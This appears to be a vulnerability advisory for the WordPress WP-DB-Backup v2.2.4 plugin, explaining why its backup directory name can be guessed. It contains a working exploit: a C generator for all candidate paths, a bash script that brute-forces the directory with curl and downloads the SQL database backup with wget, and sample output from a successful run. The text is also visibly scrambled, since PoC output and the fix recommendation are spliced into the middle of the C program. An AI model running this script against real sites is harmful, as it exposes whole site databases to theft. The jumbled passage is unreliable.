Advisory #: 81
Title: Wordpress WP-DB-Backup v2.2.4 Plugin Remote Database Backup Download Vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2014-11-02
CVE-ID:[CVE-2014-10076]
CWE:
Download Site: http://austinmatzko.com/wordpress-plugins/wp-db-backup/
Vendor: pressedcode.com
Vendor Notified: 2014-11-04
Vendor Contact:
Advisory: http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/
Description: P-DB-Backup allows you easily to backup your core WordPress database tables. You may also backup other tables in the same database.
Vulnerability:
WP-DB-Backup creates a backup storage path under the wp-contents directory of the wordpress installation if the option to store backups locally is selected (not default). The path is: /wordpress/wp-content/backup-[5_characters_of_md5sum]/ Where the backup directory name is derived from lines in wp-db-backup.php: 36 $rand = substr( md5( md5( DB_PASSWORD ) ), -5 ); . . 42 if ( ! defined('WP_BACKUP_DIR') ) { 43 define('WP_BACKUP_DIR', $wpdbb_content_dir . '/backup-' . $rand . '/'); 44 } 45 46 if ( ! defined('WP_BACKUP_URL') ) { 47 define('WP_BACKUP_URL', $wpdbb_content_url . '/backup-' . $rand . '/'); 48 } It's not random enough as the md5 characters can only be 0-9 and a-f (hexadecimal), which turns out to be 16^5 possible combinations or 1048576. And it will always be five characters no less. A small C program can generate a rainbow table (uncompressed about 6MB) in a few seconds. See exploit section for full PoC. /*Create rainbow table for guessing wp-backup-db v2.2.4 backup path Larry W. Cashdollar*/ #include <stdio.h> #include <stdlib.h> int main (void) { char string[16] = "0123456789abcdef"; int x, y, z, a, b; for (x = 0; x < 16; x++) { for (y = 0; y < 16; y++) { for (z = 0; z < 16; z++) PoC output I’ve trimmed this down for brevity. root@vapidlabs:~# ./exp2.sh www.vapidlabs.com 20141031 [+] Searching.... Percent Done: 0% Percent Done: 1.960700% Percent Done: 3.921500% Percent Done: 5.882300% Percent Done: 7.843100% Percent Done: 9.803900% Percent Done: 11.764700% Percent Done: 13.725400% Percent Done: 15.686200% Percent Done: 17.647000% Percent Done: 19.607800% Percent Done: 21.568600% Percent Done: 23.529400% Percent Done: 25.490100% Percent Done: 27.450900% Percent Done: 29.411700% Percent Done: 31.372500% Percent Done: 33.333300% Percent Done: 35.294100% Percent Done: 37.254900% Percent Done: 39.215600% Percent Done: 41.176400% Percent Done: 43.137200% Percent Done: 45.098000% Percent Done: 47.058800% Percent Done: 49.019600% Percent Done: 50.980300% Percent Done: 52.941100% Percent Done: 54.901900% Percent Done: 56.862700% Percent Done: 58.823500% Percent Done: 60.784300% Percent Done: 62.745000% Percent Done: 64.705800% Percent Done: 66.666600% Percent Done: 68.627400% Percent Done: 70.588200% Percent Done: 72.549000% Percent Done: 74.509800% Percent Done: 76.470500% Percent Done: 78.431300% Percent Done: 80.392100% Percent Done: 82.352900% Percent Done: 84.313700% Percent Done: 86.274500% Percent Done: 88.235200% Percent Done: 90.196000% Percent Done: 92.156800% Percent Done: 94.117600% Percent Done: 96.078400% [+] Location http://www.vapidlabs.com/wp-content/backup-baff5/ Found [+] Received HTTP/1.1 200 OK Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 5.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 6.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 7.00% Percent Done: 8.00% Percent Done: 8.00% Percent Done: 8.00% Percent Done: 8.00% Percent Done: 8.00% Percent Done: 8.00% [+] Database backup http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql Found [+] Received HTTP/1.1 200 OK --2014-11-17 09:44:35-- http://www.vapidlabs.com/wp-content/backup-baff5/wordpress_wp_20141031_036.sql Resolving www.vapidlabs.com (www.vapidlabs.com)... 192.168.0.26 Connecting to www.vapidlabs.com (www.vapidlabs.com)|192.168.0.26|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 438401 (428K) [application/x-sql] Saving to: `wordpress_wp_20141031_036.sql' 100%[===================================================================================>] 438,401 --.-K/s in 0.001s 2014-11-17 09:44:35 (325 MB/s) - `wordpress_wp_20141031_036.sql' saved [438401/438401] Also the backup files are left open to any local user to read. $ ls -l wordpress_wp_20141031_036.sql -rw-r--r-- 1 www-data www-data 438401 Oct 31 19:52 wordpress_wp_20141031_036.sql Recommended Fix: Create .htaccess directory under root backup directory. { for (a = 0; a < 16; a++) { for (b = 0; b < 16; b++) { printf ("%c%c%c%c%c\n", string[x], string[y], string[z], string[a], string[b]); } } } } } return(0); } # gcc rainbow.c -o rain # time ./rain > rainbow real 0m0.193s user 0m0.188s sys 0m0.004s # ls -l rainbow -rw-r--r-- 1 root root 6291456 Oct 31 21:21 rainbow # wc -l rainbow 1048576 rainbow So we've got all of our possible directory locations, we just need a way to check when we've found the correct one. An attempt is made to block file listing by placing a 0 sized index.php file in the backup directory. Because of the index.php file we will know if we've gotten the correct directory name because we will receive a 200 response from the web server vs 404 file not found. So a full PoC would be create our rainbow table with target URL, run through all of the combinations until we get a 200 response. Then start guessing the SQL filename. The backup files can be guessed as they follow a common format: DBNAME_TABLE_PREFIX_YYYYMMDAY_SWATCH_TIME.sql. For example: wordpress_wp_20141031_036.sql wordpress typically defaults the Prefix name to wp_. The database name will be the hardest thing to guess, use some derivative of wordpress, wp, etc.. File names are generated by lines in wp-db-backup.php: 99 $datum = date("Ymd_B"); 100 $this->backup_filename = DB_NAME . "_$table_prefix$datum.sql"; Where B is Swatch Internet time 000-999. So PoC: Find out backup path name via brute force. Attempt to guess database backup file name, try DBNAME of wordpress, wpdb, wordpdb etc scan entire day from current swatch time back down to 000. Distribute backup path guessing over multiple hosts with different key spaces.
Export: JSON TEXT XML
Exploit Code:
  1. #!/bin/bash
  2. #Larry W. Cashdollar, @_larry0
  3. #Will brute force and search a Wordpress target site with WP-DB-Backup v2.2.4 plugin installed for any backups done on
  4. #20141031 assumes the wordpress database is wordpress and the table prefix is wp_
  5. #http://www.vapid.dhs.org/advisories/wordpress/plugins/wp-db-backup-v2.2.4/
  6. #http://thehackerblog.com/auditing-wp-db-backup-wordpress-plugin-why-using-the-database-password-for-entropy-is-a-bad-idea/
  7. #run ./exp targetsite
  8. DATE="20141031"; #Date to search
  9. if [ ! -e rainbow ]; then
  10. cat << -EOF- > rbow.c
  11. /*Create rainbow table for guessing wp-backup-db v2.2.4 backup path
  12. Larry W. Cashdollar*/
  13. #include <stdio.h>
  14. int
  15. main (void)
  16. {
  17. char string[16] = "0123456789abcdef";
  18. int x, y, z, a, b;
  19. for (x = 0; x < 16; x++)
  20. for (y = 0; y < 16; y++)
  21. for (z = 0; z < 16; z++)
  22. for (a = 0; a < 16; a++)
  23. for (b = 0; b < 16; b++)
  24. printf ("%c%c%c%c%c\n", string[x], string[y], string[z],
  25. string[a], string[b]);
  26. return(0);
  27. }
  28. -EOF-
  29. echo "[+] Compiling rbow.c"
  30. gcc rbow.c -o rbow
  31. echo "[+] Creating rainbow table..."
  32. ./rbow > rainbow
  33. fi
  34. if [ ! -e found.txt ]; then
  35. Z=0
  36. K=`wc -l rainbow|awk '{print $1}'`;
  37. echo "[+] Searching....";
  38. for x in `cat rainbow`; do
  39. CPATH="http://$1/wp-content/backup-$x/";
  40. RESULT=`curl -s --head $CPATH|grep 200`;
  41. if [ -n "$RESULT" ]; then
  42. echo "[+] Location $CPATH Found";
  43. echo "[+] Received $RESULT";
  44. echo $x > found.txt;
  45. break; #break here
  46. fi;
  47. echo -n "Percent Done: ";
  48. Y=`echo "scale=6;($Z/$K)*100"|bc`;
  49. echo -n $Y
  50. echo "%";
  51. Z=$(( $Z + 1 ));
  52. done
  53. else
  54. x=`cat found.txt`;
  55. fi
  56. # Now that we have the directory lets try to locate the database backup file.
  57. K=999;
  58. for y in `seq -w 0 999`; do
  59. CPATH="http://$1/wp-content/backup-$x/wordpress_wp_$2_$y.sql"; #change WP Database Name and Table Prefix here
  60. RESULT=`curl -s --head $CPATH|grep 200`;
  61. if [ -n "$RESULT" ]; then
  62. echo "[+] Database backup $CPATH Found";
  63. echo "[+] Received $RESULT";
  64. wget $CPATH
  65. exit; #break here
  66. fi;
  67. echo -n "Percent Done: ";
  68. Y=`echo "scale=2;($Z/$K)*100"|bc`;
  69. echo -n $Y
  70. echo "%";
  71. Z=$(( $Z + 1 ));
  72. done
  73.  
Screen Shots:
Notes: